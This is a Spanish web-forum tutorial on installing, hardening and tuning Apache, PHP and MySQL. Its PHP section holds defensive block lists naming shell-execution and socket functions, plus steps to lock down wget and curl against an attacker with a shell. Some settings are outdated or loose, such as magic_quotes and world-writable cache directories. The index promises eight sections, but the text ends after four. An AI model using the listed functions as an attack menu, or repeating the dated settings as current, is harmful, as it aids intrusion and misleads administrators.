elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Mensajes
Páginas: 1 ... 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 [629]
6281  Informática / Tutoriales - Documentación / Instalar Apache. PHP, MySQL en Linux + Configuración Avanzada en: 28 Agosto 2002, 15:56 pm
Versión  1.60

1) Configuración avanzada Apache
2) Configuración avanzada PHP + Seguridad en PHP
3) Instalación y configuración bajo Linux
4) Optimizando el Apache, el PHP y el MySQL
5) Evitando Ataques al Apache
6) Protegiendo ancho de banda
7) Autorización en Apache
8) Apache con una dirección IP dinámica

=====================================================================

1) Configuración avanzada Apache

Módulos Apache:

mod_auth_anon: permite a usuarios anónimos acceder a áreas autentificadas.
mod_auth_dbm: proporciona autentificación utilizando ficheros DBM.
mod_auth_digest: autentificación de usuario utilizando MD5.
mod_cern_meta: semántica de etiquetas meta del CERN.
mod_expires: cabeceras http expires.
mod_headers: personalización de las peticiones http y cabeceras.
mod_info: visión comprensiva de la configuración del servidor.
mod_mime_magic: determina el tipo de MIME de un fichero.
mod_proxy: Servidror HTTP/1.1 proxy/gateway
mod_rewrite: proporciona un motor de re-escritura basado en reglas.
mod_speling: intenta corregir “faltas” en las URL, ignorando mayúsculas, etc.
mod_status: informaicón y rendimiento del apache
mod_unique_id: variables del entorno
mod_usertrack: registro de actividad de un usuario
mod_vhost_alias: Configurar servidores virtuales dinámicamente
mod_proxy_balancer Funciones del balanceador para el módulo proxy
mod_proxy_http Soporte Http para el módulo proxy
mod_cache Módulos de caché genérico
mod_disk_cache Caché de ficheros para el módulo caché
mod_deflate Módulo de compresión de contenido


Ahora vamos a ver un poco con profundidad todas las opciones de configuración:


Archivos que necesitamos:

httpd.conf de la carpeta conf del apache
php.ini de c:Windows para configurar el PHP

Opciones del Apache httpd.conf

Básico:
# = Línea comentada, por lo tanto el apache no la coge.

# Dynamic Shared Object (DSO) Support --> Aquí se cargan los módulos de apache.

Ejemplo:
#LoadModule vhost_alias_module modules/mod_vhost_alias.so

LoadModule Nombre Ruta

Como ya hemos dicho antes, para carga el PHP:
LoadModule php4_module f:/php/sapi/php4apache.dll

Despues de hacer el LoadModule necesitas añadirlo con el AddModule

ClearModuleList
AddModule mod_php4.c

=====================================================================

Configuración general


ServerRoot "C:/Archivos de programa/Apache Group/Apache" --> donde esta instalado el Apache, y de donde cuelgan las demas carpetas.

PidFile logs/httpd.pid --> por si cerramos el apache mal nos lo guarda aqui.

Timeout 300 --> contra más grande sea, el apache no dara mensaje de timeout aunque tarde mucho en cargar una página.

MaxKeepAliveRequests 0 -->poner a 0 para ponerlo ilimitado. Se trata de mantener una conexión "viva" en el Apache. Es decir, un cliente está vieno la web y su "petición" se queda "viva" por si vuelve a pedir otra petición (GET, etc). De esta manera la petición es más rápida, pero también se quedan más conexiones "abiertas" en el Apache.

KeepAliveTimeout 15 --> Número de segundos que se espera el Apache para cerrar una conexión que está activa (pero en espera) y sin hacer nada (no está enviando datos) (leer arriba).

MaxRequestsPerChild 0 --> 0 para ilimitado.

Port 80 --> puerto por defecto del apache y de cualquier servidor web. Si pones otro puerto luego tendrás que escribir en el navegador ww.pepito.com:puerto

ServerAdmin el-brujo@elhacker.net --> tu email

ServerName localhost --> tu ip, o mejor localhost sino tienes ip fija. En caso de tener dominio poner el nombre de tu dominio.

DocumentRoot "C:/web" --> donde tienes la web, es decir las paginas que quieres que se vean en el navegador.

Opciones de un directorio individual:

ALL --> todas las opciones excepto MultiViews

ExeCGI --> se permite la ejecuación de scripts cgi.

Includes --> se permiten includes

IncludesNOEXEC -> ser permiten includes pero no se precesan #exec ni #include

MultiViews --> permite al servidor seleccionar el documento que mejor responda  a la petición del cliente (para mas info --> http://www.apache.org/docs/content-negotation.html

SymLinkslfOwnerMatch --> permite al servidor seguir un enlace simbólico si el destino del enlace y el enlace son del mismo propietario.

<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>

--> esto sirve para decirle que el Document Root (/) o sea c:/web no nos enseñe las carpetas ni su contenido, sino que coge el archivo que le decimos en directory index (luego lo veremos).

Si queremos que nos liste el contenido hay que comentarlo:

#<Directory />
# Options FollowSymLinks
# AllowOverride None
#</Directory>

o cambiarlo por:

<Directory />
Options +Indexes FollowSymLinks
AllowOverride None
</Directory>


http://httpd.apache.org/docs/mod/mod_autoindex.html


Para que esto se entienda pongo un ejemplo:

Podemos "proteger" la carpeta images (tenemos que tener c:/web/images)
para que cuando alguien esriba http://localhost/images) no le muestre el contenido de esa carpeta (sale un Permission Deneid), pero eso no quiere decir que las imagenes que estan en ses directorio
no vayan a ser visible, si hacemos http://localhost/images/banner.gif si nos enseña el banner.

Ejemplo:
<Directory /images>
Options FollowSymLinks
AllowOverride None
</Directory>

Options FollowSymLinks --> se trata de permitir enlaces simbólicos, o sea si un directorio tiene tales permisos, los siguientes directorios que cuelguen heredan las misma configuración.

Haz pruebas para ver la diferencia porque no me he explicado muy bien...

<Directory "C:/Archivos de programa/Apache Group/Apache/htdocs"> --> escribe aquí lo mismo que en el document root, ya que son los permisos básicos y por defecto.


<IfModule mod_dir.c>
DirectoryIndex index.html index.php default.htm
AddType application/x-httpd-php .php
</IfModule>


Se pueden ir añadiendo una al lado de otra: index.php index.php3 ,etc o una debajo de otra

index.php
index.php3
index.shtml

En DirectoryIndex se definen las páginas que cogera por defecto, es decir:

Si existe c:/web/index.html nos coge por defecto esa página, asi que no hace falta poner http://localhost/index.html, sinó que basta con poner http://localhost (que nos llevará a index.html)

Y lo mismo pasa si hay carpetas, directorios, si en c:/web/pruebas/ hay un archivo llamado index.html nos coge ese por defecto

SetHandler vs AddHandler

El problema es que hay en internet miles de sitios que recomienda esta configuración vulnerable con AddHandler o AddType:

Código:
AddHandler php5-script .php

La opción recomendada y más segura para "ejecutar" los ficheros php en Apache es con FilesMatch:

Código:
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>


Apache httpd.conf

Código:
# inseguro .php.txt
#AddType application/x-httpd-php .php

# seguro
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>



Antes:

Código:
AddHandler php5-script .php

Ahora la opción recomendada y más segura para "ejecutar" los ficheros php en Apache es con:

Código:
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

AddType application/x-httpd-php .php --> esto sirve para que interprete las paginas PHP

AddType application/x-httpd-php .php3 --> si queremos dar soporte a PHP3.

AddType application/x-httpd-php .shtml --> si queremos que se ejecute como un PHP

También podenos usar .shtml, que algunos utilizan como si fueran un php.

AccessFileName .htaccess --> esto es una opción muy buena que tiene el apache que en un archivo .htaccess podemos configurar varias cosas, como si fuera el httpd.conf (muy útil en webhosting, ya que no podemos controlar la conf del apache....)

Para proteger los htaccess de miradas indiscretas, ponemos en el conf principal:

<Files .htaccess>
Order allow,deny
deny from all
</Files>

O mejor aún:

<Files ~ "^.ht">
Order allow,deny
Deny from all
Satisfy All
</Files>

Son expresiones regulares, luego veremos algunos ejemplos.

Luego le podemos decir al htaccess

ErrorDocument 404 /notfound.html

También se le puede decir un directory index:

DirectoryIndex filename.html

Si queremos que un cgi se ejecute automáticamente:

DirectoryIndex /cgi-local/index.pl

También podemos utilizar la autentificación con HTTP con el Apache:

AuthUserFile "ruta"

<Limit GET>
requiere user login juan
</Limit>

(Abajo se explica completo)

ErrorLog logs/error.log --> para que logee los errores en la carpeta logs del apache.

#CustomLog logs/access.log combined --> guarda los accesos a la web en diferentes formato, sgún queramos unos datos u otros.

Puedes cambiar la ruta y guardar los logs en otro sitio, ya que suelen crecer mucho con webs grandes, llegando a tamaños de 1GB o más. Recuerda que en Linux en la carpeta dónde metas los logs debe ser de usuario "nobody" y grupo "nogroup" para que el apache pueda crear el archivo de logs y rellenarlo. Y si necesitas vaciarlo con algún prograna tipo awstats recuerda darle permisos de escritura 666.


#!c:/program files/perl/perl.exe --> aqui escribimos la ruta del perl, como que windows no lleva perl por defecto, deberemos bajarnos algun paquete, como Active Perl y aqui ponerle la ruta al perl.exe


Apache acepta Alias, y eso significa que podemos coger cualquier carpeta de nuestro ordenador y hacerla visible sin necesidad de que esa carpeta este en documentRoot

Me explico:

Si tenemos una carpeta con documentos en d:/documentos, y el documentRoot esta en c:/web, esa carpeta a priori no es visible, pero podemos hacer lo siguiente:

Alias /documentos/ "d:/documentos"

Y luego la protegemos:

<Directory "d:/documentos">
Options FollowSymLinks
AllowOverride None
</Directory>


A partir de este momento en http://localhost/documentos tendremos el contenido de d:/documentos

Podemos crear tantos alias como queramos.

Más cosas. Imáginemos que tenemos archivos .bak que no queremos que la gente los pueda ver, basta con decirle esto:

<Files ~ "/.bak$">
Order allow,deny
Deny from all
</Files>

ScriptAlias /cgi-bin/ "C:/Archivos de programa/Apache Group/Apache/cgi-bin/" --> Aqui definimos donde tendremos nuestros cgi''s, no es mas que un alias pero con permisos especiales para ejecutar.

<Directory "C:/Archivos de programa/Apache Group/Apache/cgi-bin">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>


Importante poner esas opciones para proteger el directorio cgi-bin de miradas curiosas.

Dento de la carpeta C:/Archivos de programa/Apache Group/Apache/cgi-bin tenemos que meter los cgi''s o pl''s, y luego en el navegador se accede con http://localhost/cgi-bin/

También se le puede decir al Apache que cualquier cgi que vea, este dentro del ScriptAlias o no, lo ejecute, esto no es recomendable, pero por si acaso basta con decirle esto:

AddHandler cgi-script .cgi

También se le puede decir al apache que una página shtml la interprete como SSI (Server Side Inlcudes:

AddHandler server-parsed .shtml

<IfModule mod_negotiation.c>
LanguagePriority en da nl et fr de el it ja kr no pl pt pt-br ru ltz ca es sv tw
</IfModule>

Propiedades del lenguaje, asi que mejor poner es al principio del todo:

LanguagePriority es en da nl et fr de el it ja kr no pl pt pt-br ru ltz ca sv tw


ErrorDocument --> Tipos de errores.

200 OK
206 Partial content
301 Document moved permanently
302 Document found elsewhere
304 Not modified since last retrieval
400 Bad request
403 Access forbidden
404 Document not found
408 Request timeout
500 Internal server error
501 Request type not supported

Por ejemplo:

El error 404 es cuando un servidor no encuentra una pagina. Pues podemos hacer que cuando haya un 404 nos lleve a una pagina:

ErrorDocument 404 /error.htm

Y en la pagina error.htm pues escribimos lo que queramos, es un html normal.

Asi que cuando escribamos http://localhost/lo_que_sea, si lo_que_sea no existe, ya sea carpeta, html, zip, etc nos llevara automaticamente a la pagina error.htm

Los directorios server-estatus y server-info están comentados por defectos y mejor dejarlos así sino sabes lo que tocas. Pero si lo descomentas asegurate de poner el allow from bien, es decir localhost o tu ip. Tampco es que sea informacion super-delicada, pero si es informacion privada.

#<Location /server-info>
# SetHandler server-info
# Order deny,allow
# Deny from all
# Allow from localhost
#</Location>

El server status te dice el estado del servidor, los procesos en espera, las conexiones enviando información, etc, el uptime del apache, el tráfico total enviado, etc.

Si lo quieres más completo, con las peticiones en proceso simultáneas, las conexiones de cada vhost (muy útil para saber que hosting consune más) etc, debes descomentar esta linea:

ExtendedStatus On

<Location /server-status>
 SetHandler server-status
 Order deny,allow
 Allow from ip
 Deny from all
</Location>

Otra manera de hacerlo es:

<Location /server-status>
 SetHandler server-status
   AuthUserFile /home/pepe/htpasswd
   AuthType Basic
   AuthName "Server Status"
   require valid-user
</Location>

En el archivo htpasswd que está en /home/pepe debe estar el usuario pepe con su correspondiente contraseña cifrada. Para hacer estos usuarios, consulta el final del documento dónde se explica como proteger directorios.


También se le puede decir al Apache que por defecto cada usuario de linux tenga su directorio web.
Por ejemplo http://localhost/~juan/ apuntará al directorio del usuario en linux, o sea:

/home/juan/public_html

Para hacer esto basta con poner:

UserDir public_html

Si pusieramos:

UserDir pagina_web

Entonces irá por defecto a:

/home/usuario/pagina_web
/home/usuario2/pagina_web

<Directory /home/*/public_html>
Opciones que queramos para todos los usuarios.
</Directory>

Más cosas:

Si tenemos una carpeta /images y la movemos de sitio, podemos hacer un redirect, o por ejemplo si teniamos /juan y ahora juan ha comprado un dominio podemos hacer esto:

Redirect permanent /juan http://www.juan.com

Donde /juan ya no debe ser un directorio, ni estar lleno, el ex-directorio de nuestro amigo ahora será www.juan.com, que es el nuevo dominio de juan, donde podemos encontrarle :)

Otra cosa excelente es que el Apache puede alojar varias webs (dominios) y esto se hace con el VirtualHost.

Los vhosts pueden estar basados en nombre (based-name) o en ip (ip-based).

Me explico, si tu máquina tiene una sola ip, pues deberas hacer vhosts basados en nombre, y si tienes varias ips pues puedes elegir, yo solo se hacerlo basado en nombre, ya que sólo tengo una ip:

Por ejemplo:

Tenemos el apache y queremos alojar nuestra web y la de un amigo:

El amigo compra el dominio pepe.com y apunta las dns a nuestra maquina.

Nosotros tenemos que decirle a nuestra máquina esto:

<VirtualHost *>
ServerAdmin amigo@pepe.com
DocumentRoot /web/amigo_pepe/
ServerName pepe.com
ErrorLog logs/web_amigo_pepe_errpr
CustomLog logs/web_amigo_pepe_log common
</VirtualHost>

Ejemplo real de un vhost based-name (basado en nombre) del dominio elhacker.net, totalmente completo:

#le decimos listen y la ip de nuestra maquina y el puerto (normalmente 80)

Listen *:80

#recuerda que si sales por un router deberás poner Listen 192.168.0.3 , o sea la ip local, ya que sinó al arrancar el apache dará el error "could not bind address port"

NameVirtualHost *:80


#este es el vhost por defecto. Aunque está basado en nombre, este vhost como es por defecto, también podemos acceder directamente por la ip.

<VirtualHost *:80>
DocumentRoot /usr/local/apache/htdocs/elhackerinfo
ServerName www.elhacker.info
ServerAlias elhacker.info
</VirtualHost>

#segundo vhost basado en en el nombre (dominio) www.elhacker.net y elhacker.net

<VirtualHost *:80>
ServerAdmin alex@elhacker.net
DocumentRoot /usr/local/apache/htdocs/elhackernet
ServerName www.elhacker.net
ServerAlias elhacker.net
</VirtualHost>

Asi en nuestro ordenador tendremos nuestra web y la de nuestro amigo, y las dos estaran en la misma IP y en el mismo servidor web. En este ejemplo solo hay 2 dominios, pero igual que hay 2 podriamos poner 200.

Ahora veamos un vhost basado en ip (ip-based):

#ponemos a la esucha las dos ips (o si tuvieramos 5 ips, pues pondríamos las 5)
Listen 62.121.32.120:80
Listen 62.121.32.121:80

NameVirtualHost 62.121.32.120:80
NameVirtualHost 62.121.32.121:80

#configuro el vhost para la primera IP

<VirtualHost 62.121.32.120:80>
DocumentRoot /home/foro/public_html
ServerName foro.elhacker.net

<Directory "/home/foro/public_html">
    Order allow,deny
    Allow from all
   </Directory>
#etc, etc, etc
</VirtualHost>


#configuro el vhost para la segunda IP

<VirtualHost 62.121.32.121:80>
DocumentRoot /home/alex/public_html
ServerName www.elhacker.name

<Directory "/home/alex/public_html">
    Order allow,deny
    Allow from all
   </Directory>
#etc, etc, etc
</VirtualHost>

El apache también puede hacer de proxy, esta opción por defecto está desactivada, pero veremos como configurar el Apache como proxy.

Primero tiene que estar el módulo mod_proxy.c cargado en el Dynamic Shared Object (DSO)

#<IfModule mod_proxy.c>

# <Directory proxy:*>
# Order deny,allow
# Deny from all
# Allow from ip
# </Directory>


=====================================================================

2) Configuración avanzada PHP + Seguridad en PHP

Editaremos el Archivo php.ini

expose_php = Off

Para evitar mostrar la versión del PHP en las cabeceras X-Powered-By: PHP, etc.

; Resource Limits ;

max_execution_time = 30 --> máximo tiempo de ejecución de un script php. Si en 30 segunos no obtiene respuesta el script se para y sale un "timeout" como errror.

memory_limit = 8M --> tamaño maximo que puede consumir un script php.

; File Uploads ;

Si queremos enviar ficheros al servidor, aqui lo podemos permitir:

file_uploads = On --> si queremos o no queremos

upload_tmp_dir = F:webspublic --> el directorio donde se copiarán los archivos que nos suban.

upload_max_filesize = 1M --> el tamaño máximo que queremos que nos envien.

Una caracteristica muy importante, especialmente para hostings, es la posibilidad de no permitir algunas de las funciones de PHP. La razon es muy sencilla: algunas funciones de PHP como system, proc, etc hacen y permiten ejecutar comandos del  sistema, lo que puede provocar problemas de seguridad. Por ejemplo, un usuario quizas quiera ejecutar un comando "no peligroso" como uptime, pero otro usuario mal intencionado puede utilizar otros comandos del sistema para extraer informacion comprometida de la maquina: como id, who, cat, etc.

Hosting gratuitos como Lycos, iespana tienen capadas estas funciones por lo comentado arriba, es potencialmente peligroso.

Para no permitir la ejecucion concreta de algunas funciones en PHP (no confundir con comandos) es con:

disable_functions =exec,system,shell_exec,readfile

Aunque las funciones en PHP son exec(), debemos ponerlo sin ().

Por ejemplo en Mi Arroba:

Warning: fsockopen, pfsockpen, show_source, php_uname, ini_alter, ini_restore, ini_set, getrusage, get_current_user, set_time_limit, getmyuid, getmypid, dl, leak, listen, chown, chmod, chgrp, realpath, tmpfile, link() has been disabled for security reasons.

Más restrictivo:

Funciones a deshabilitar:

exec, system, shell_exec, readfile, passthru, escapeshellcmd, proc_open, posix_uname, posix_getuid, posix_geteuid, posix_getgid, getcwd

disable_functions = system, exec, shell_exec, passthru, pcntl_exec, putenv, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, popen, pclose, set_time_limit, ini_alter, virtual, openlog, escapeshellcmd, escapeshellarg, dl, curl_exec, parse_ini_file, show_source

Otra lista más completa:

disable_functions=
popen,pclose,posix_getpwuid,posix_getgrgid,posix_k ill,parse_perms,phpinfo,system,dl,passthru,exec,
shell_exec,popen,proc_close,proc_get_status,proc_n ice,proc_open,escapeshellcmd,escapeshellarg,show_s ource,posix_mkfifo, set_time_limit,mysql_list_dbs,get_current_user,get myuid,pconnect,link,symlink,pcntl_exec,ini_alter,p arse_ini_file,pfsockopen, leak,apache_child_terminate,posix_kill,posix_setpg id,posix_setsid,posix_setuid,proc_terminate,syslog ,fpassthru,stream_select, socket_select,socket_create,socket_create_listen, socket_create_pair,socket_listen,socket_accept,sock et_bind,socket_strerror, pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexits tatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifs topped,pcntl_wstopsig,pcntl_wtermsig,openlog,apach e_get_modules,apache_get_version,apache_getenv, apache_note,apache_setenv,virtual


Recomendable instalar suhosin (una manera muy sencilla y segura de asegurar PHP)

suhosin.executor.func.blacklist = "system, exec, shell_exec, passthru, pcntl_exec, putenv, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, popen, pclose, set_time_limit, ini_alter, virtual, openlog, escapeshellcmd, escapeshellarg, dl, parse_ini_file, show_source, imap_open, ftp_connect, posix_uname, posix_getuid, posix_geteuid, posix_getgid, getcwd, php_uname, phpinfo apache_setenv, define_syslog_variables, eval, exec, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, highlight_file, ini_alter, ini_get_all, ini_restore, inject_code, openlog, passthru, php_uname, phpAds_remoteInfo, phpAds_XmlRpc, phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, exec, pipe, set_time_limit, popen, proc_open, parse_ini_file, show_source, mail, dl, ini_set, ini_alter, virtual, openlog, apc_add, apc_bin_dump, apc_bin_dumpfile, apc_bin_loadfile, apc_cache_info, apc_cas, apc_clear_cache, apc_compile_file, apc_dec, apc_define_constants, apc_delete_file, apc_delete, apc_exists, apc_fetch, apc_inc, apc_load_constants, apc_store, symlink, eval"



Otra manera es hacer funcionar el php en safe_mode. Esto se indica en el php.ini y se activa con la opción:

Safe_mode = ON

o sea modo seguro. Muchos hostings gratuitos lo tienen activado por defecto.  De esta manera varias funciones están desactivadas y muchas otras comprueban los permisos a la hora de leer ficheros, etc.

http://www.zend.com/manual/features.safe-mode.functions.php

allow_url_fopen off --> para no dejar que se abran archivos remotos

register_globals off  --> desactivar las variables globales para que no se pueda permitir la inyección a variables que no están supuestos a modificar (muy importante).

Otra manera intersante de progeter el php es con el magic_quotes_gpc:

Copy/paste de http://vulnfact.com/papers/VF-php_secure.txt

 - Buscamos la directiva magic_quotes_gpc, que quizá este en Off, pues la activamos con
    On. Esto hace la adición automática del caracter de escape "" en variables tomadas
    de GET, POST y Cookies.

  magic_quotes_gpc = On ; magic quotes for incoming GET/POST/Cookie data

  - Para evitar que en lugar de enviar cadenas mal intencionadas, sean almacenadas en
    bases de datos o archivos de texto. Debemos activar magic_quotes_runtime.

  magic_quotes_runtime = Off ; magic quotes for runtime-generated data.

Para mayor seguridad, podemos hacer que un vhost (virtual host) del apache no tenga php:

#bastaría con añadir esta linea dentro del vhost del apache
php_admin_flag engine ON

O bien podemos deshabilitar el safe_mode en un vhost (dominio)

php_admin_flag safe_mode Off

Más info:
http://es2.php.net/manual/en/configuration.changes.php


open_basedir = none

En el vhost del Apache:

php_admin_value open_basedir /home/user/public_html

De esta manera sólo dejamos abrir los ficheros que estén en ese directorio (para evitar problemas).

De la misma manera deberíamos logear los errores del php pero no mostrarlos (evitaremos path disclosures, etc).

Añadimos varias instrucciones en el vhost del apache:

php_flag display_errors Off
php_flag log_errors On
php_value error_log "/home/uesr/logs/errorsphp"

Por si todo esto falla y consiguen una shell:

#le damos permisos sólo al root para este fichero
chmod 700 /usr/bin/wget
# modo invariable
chattr +i /usr/bin/wget

Lo mismo para los comandos:

wget, curl, lynx, w3m, framebuffer, links2 (navegadores) y gcc, cc y demás compiladores o binarios que nos parezcan potencialmente peligrosos.

  Se podría decir que hasta ahí tenemos mas o menos asegurado PHP.

=====================================================================

3) Instalación y configuración bajo Linux

Bueno instalarlo en Linux es diferente, pero la configuración es idéntica, excepto en las las rutas y algún otro parámetro más.

/usr/local/apache en vez de c:Archivos de ProgramaApache Group.......

Te bajas el Apache:

http://www.ibiblio.org/pub/packages/infosystems/WWW/servers/apache/httpd/apache_1.3.28.tar.gz

tar -xvzf apache_1.3.28.tar.gz
cd apache_1.3.28
./configure --enable-module=so
make
make install

Podemos instalarlo en otro directorio, que por defecto es /usr/local/apache con:

./configure --prefix=/www

El php:

http://www.php.net/get/php-4.3.1.tar.gz/from/bg.php.net/mirror

tar -xvzf php-4.3.1.tar.gz
cd php-4.3.1
./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs

o bien:

./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs --with-gd --with-zlib

make
make install

ya ta. Recuerda que debes haber compilado el apache con module=SO, para poder compilar el PHP y la ruta del apxs correcta, sino tambien dara error claro. Yo he puesto la ruta por defecto, si has instalado el apache en otro sitio puedes hacer un "locate apxs" y ver dónde lo tienes.

Bien está todo instalado y debería funcionar, pero falta decir al Apache que "interprete" los  php  (igual que hariamos en Windows) con el httpd.conf

Buscamos -->

<IfModule mod_dir.c>
DirectoryIndex index.html
</IfModule>

Y le añadimos esta línea:

AddType application/x-httpd-php .php

Tiene que quedar asi:

<IfModule mod_dir.c>
DirectoryIndex index.html
AddType application/x-httpd-php .php
</IfModule>

Verás que algunas páginas usan .shtml (y son webs dinámicas), sería muy fácil añadir un .shtml para que fuera equivalente a un .php

Bastaría con añadir esta línea:

AddType application/x-httpd-php .shtml

Puedes editar el php.ini en/etc/php.ini o /usr/local/lib/php.ini

Por defecto PHP usa sendmail para enviar e-mails con la función mail() , pero si queremos usar qmail, tenemos que añadir la ruta del ejecutable:

/usr/lib/qmail/qmail-inject

Para arrancar el apache tienes varias maneras:

/usr/local/apache/bin/apachectl start
/etc/rc.d/init.d/httpd start
/usr/local/apache/bin/httpd

Todas son válidas y con cualquier usuario, ya que en el conf ya se incluye "User nobody" y "Group nogroup". Puedes comprobarlo haciendo un "ps aux".

Instalar el MySQL bajo Linux, tampoco tiene mucho misterio. Hay paquetes rpm o puedes instalarlo desde las fuentes.

Para arrancarlo si has instalado el RPM:

/etc/rc.d/init.d/mysql start

Para instalarlo desde las fuentes (recomendado para una máxima estabilidad y rendimiento)

bajaremos el tar.gz de:

http://dev.mysql.com/downloads/mysql/5.0.html

shell> groupadd mysql
shell> useradd -g mysql mysql
shell> gunzip < mysql-VERSION.tar.gz | tar -xvf -
shell> cd mysql-VERSION
shell> ./configure --prefix=/usr/local/mysql
shell> make
shell> make install
shell> cp support-files/my-medium.cnf /etc/my.cnf
shell> cd /usr/local/mysql
shell> bin/mysql_install_db --user=mysql
shell> chown -R root  .
shell> chown -R mysql var
shell> chgrp -R mysql .
shell> bin/mysqld_safe --user=mysql &

Las Bases de datos se guardan por defecto en:
/var/lib/mysql

Para arrancar el MySQL es recomendable usar el script de inicio que lleva en la carpeta:

/share/mysql/mysql.server start
/share/mysql/mysql.server stop

Si quieres editar algún valor del MySQL:

ves al /etc/my.cnf

=====================================================================

4) Optimizando el Apache, PHP y MySQL

Tuning Apache en Linux

Para obtener el máximo rendimiento del Servidor web Apache, configurar el httpd.conf de Linux/Unix.

Los creadores del Apache afirman que no está diseñado, o no es su máxina prioridad, el rendimiento, pero aún así es posible configurarlo para obtener un mejor rendimiento. Especialmente es indicado para máquinas con una buena/nuy buena conexión a internet (10mbps para adelante)

Configuración mínima: 256 RAM.

Con esta nueva configuración Apache consumirá más memoria, pero si contamos con bastante memoria (1 GB o 2 GB) no hay ningún problema.

MaxKeepAliveRequests 0

# en comentarios los valores originales
#MinSpareServers 5
#MaxSpareServers 10

MinSpareServers 16
MaxSpareServers 30

También podemos poner (pero mejor tener una máquina con un tráfico bestial y 2 GB de ram minímo)

MinSpareServers 100

Pero mejor que tengas mucha ram y una buena cpu. Cada SpareServer será un subproceso del apache, que por lo tanto, consumirá memoria ram.

Número de procesos al arrancar el Apache:

#StartServers 5
StartServers 16

MaxRequestsPerChild 0

Configuración ideal para sitios con mucho tráfico:

<IfModule prefork.c>
ServerLimit 500
StartServers         40
MinSpareServers      30
MaxSpareServers     50
MaxClients         450
MaxRequestsPerChild 1000
</IfModule>

Los valores KeepAlive, Timeout, KeepAliveTimeout también deberían modificarse:

Timeout 300
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 3

Muchos recomiendan bajar el Tiemout hasta valores de 100. Muy importante dejar el KeepAliveTimeout en un valor bajo.


Los valores 0, indican "Ilimitado".

También la opción de "HostNameLookups"
es mejor ponerla en "HostNameLookups off"  , ya que así evitamos tener que hacer un reverso de DNS de cada visitante que entra y hace un "hit", y aunque existe una caché de DNS para agilizar este proceso, no es recomendable.

Para probar el rendimiento del apache, pueedes hacer un test que lleva incluido el propio apache. Es un ejecutable que se llama "ab" y está en el directorio /bin o /sbin. Este programa simula gran cantidad de tráfico para el Apache y es una muy buena manera de medir el rendimiento de tu apache.

PHP

Si tu Apache sirve básicamente páginas PHP te interesará especialmente usar algún "acelerador" (caheador) de scripts PHP que almacenan en memoria caché los scripts. Conseguirás bajar las cargas del servidor de una manera notable. Es muy recomendable usarlo incluso si hay muchas consultas al MySQL. Aunque PHP 5 es bastante más rápido que PHP 4, instalando el eAcclerator o el APC con PHP 5 también se mejora y mucho.

Un ejemplo claro es:

eAccelerator
http://eaccelerator.net/

eAccelerator es la continuación del proyecto Turck MMCache.

Otros "aceleradores" del PHP:

APC (Alternative PHP Cache)
http://pecl.php.net/package/APC

PHPAccelerator
http://www.php-accelerator.co.uk/

XCache
http://xcache.lighttpd.net/

MMCache
http://turck-mmcache.sourceforge.net/

En su web está explicada la instalación y configuración (muy fácil, es compilar y carga un nuevo módulo junto con añadir la nueva configuración en el php.ini)

Ejemplo:

wget
bzip2 -cd eaccelerator-0.9.5.2.tar.bz2 | tar xvf -
cd eaccelerator-0.9.5.2
locate phpsize
export PHP_PREFIX="/usr/local/bin/"
$PHP_PREFIX/bin/phpize
export PHP_PREFIX="/usr/local/"
$PHP_PREFIX/bin/phpize
./configure --enable-eaccelerator=shared --with-php-config=$PHP_PREFIX/bin/php-config
php -v
make
make install

Simplemente te creará un eaccelerator.so

Debes copiar el eaccelerator.so y ponerlo en un directorio /usr/lib/php4/

Para despues llamarlo en el php.ini

zend_extension="/usr/lib/php4/eaccelerator.so"
eaccelerator.shm_size="16"
eaccelerator.cache_dir="/tmp/eaccelerator"
eaccelerator.enable="1"
eaccelerator.optimizer="1"
eaccelerator.check_mtime="1"
eaccelerator.debug="0"
eaccelerator.filter=""
eaccelerator.shm_max="0"
eaccelerator.shm_ttl="0"
eaccelerator.shm_prune_period="0"
eaccelerator.shm_only="0"
eaccelerator.compress="1"
eaccelerator.compress_level="9

Crear el directorio:

mkdir /tmp/eaccelerator
chmod 0777 /tmp/eaccelerator"

APC (Alternative PHP Cache)
http://pecl.php.net/package/APC

/usr/local/bin/phpize
./configure --enable-apc --enable-apc-mmap --with-apxs=/usr/local/apache2/bin/apxs --with-php-config=/usr/local/bin/php-config
make
make install

Copiar e apc.so a nuestra carpeta de librerías del PHP

y añadir al php.ini

extension=apc.so
apc.enabled=1
apc.shm_segments=1
apc.optimization=0
apc.shm_size=128
apc.ttl=7200
apc.user_ttl=7200
apc.num_files_hint=1024
apc.mmap_file_mask=/tmp/apc.XXXXXX

Truco para acelerar el APC:

Añadir flag

apc.stat=0

De esta manera no mira cada vez si el script php ha cambiado, usar sólo si hacemos pocos cambios en el php. Mirar documentación.

También podemos optimizar al compilar el Apache, PHP y el MySQL usango flags:

http://gentoo-wiki.com/Safe_Cflags

MySQL

Guía completa actualizada:
http://wiki.elhacker.net/bases-de-datos/mysql/optimizacion

Herramientas para Optimizar MySQL
http://foro.elhacker.net/tutoriales_documentacion/herramientas_para_optimizar_mysql-t214396.0.html

Editar fichero /etc/my.cnf

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
max_connections=250
max_connect_errors=100
interactive_timeout=14400
wait_timeout=14400
connect_timeout=1


[mysql.server]
#muy importante como siempre ejecutar este proceso con un usuario con pocos privilegios
user=mysql
